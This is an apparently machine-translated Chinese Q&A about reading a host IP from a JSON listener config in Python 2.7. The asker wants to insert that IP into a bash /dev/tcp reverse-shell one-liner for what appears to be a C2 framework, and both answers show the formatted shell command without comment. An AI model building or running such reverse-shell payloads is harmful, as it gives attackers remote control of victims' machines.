需要从JSON文件中读取一个变量,以在脚本的另一部分中作为变量输入

时间:2018-04-27 21:42:52

标签: json bash python-2.7

我遇到了python 2.7的问题。我有以下JSON文件,我试图只从中提取HOST变量:

{
    "443": {
        "ssl": true,
        "host": "192.168.1.8",
        "cert": "v3ga.pem",
        "name": "Test",
        "open": false
    }
}

此外,在我的脚本中,我有一个项目,我只想将“主机”IP输入为192.168.1.8。

我尝试使用以下代码段来提取所有变量:

import json
from pprint import pprint
data = json.load(open('config/listener.json'))
pprint(data)

返回:

{
    "u'443'": {
        "u'cert'": "u'fruityc2.pem'",
        "u'host'": "u'192.168.1.8'",
        "u'name'": "u'Test'",
        "u'open'": false,
        "u'ssl'": true
    }
}

我如何将其插入('0<& 196; exec 196<> / dev / tcp / HOST / 666; sh<& 196>& 196 2>& 196 ')以便它可以在我想要创建的框架中正确打印?

2 个答案:

答案 0 :(得分:0)

这个问题与这篇文章非常相似:Parsing values from a JSON file?

所以,您可能只需通过以下方式访问它:

data["443"]["host"]

如果这"(' 0<& 196; exec 196<> / dev / tcp / HOST / 666; sh<& 196>& 196 2>& 196& #39)"是一个字符串...,然后:

"('0<&196;exec 196<>/dev/tcp/" + data["443"]["host"] + "/666; sh <&196 >&196 2>&196')"

我希望有所帮助。

答案 1 :(得分:0)

假设我得到了你的问题(你已经用一个非常模糊的形式写了这个问题)......你试图获得与存储在字典中的密钥'host'相关的值'192.168.1.8'给定哈希字符串。请尝试以下代码 - &gt;

import json
from pprint import pprint   
data = json.load(open('config/listener.json'))
host = data['443']['host']
hash_string = ('0<&196;exec 196<>/dev/tcp/%s/666; sh <&196 >&196 2>&196'%(host))
print hash_string

输出将是 - &gt;

0<&196;exec 196<>/dev/tcp/192.168.1.8/666; sh <&196 >&196 2>&196

这里,在hash_string变量中,哈希值存储为“字符串”而不是tupple。我假设你是这样想的,如果不是......那么就像这样添加一个逗号 - &gt;

hash_string=('0<&196;exec 196<>/dev/tcp/%s/666; sh <&196 >&196 2>&196'%(host),)

我希望这有帮助!我希望我能正确回答你的问题,如果没有,请尝试更详细地解释问题,我会编辑我的答案:)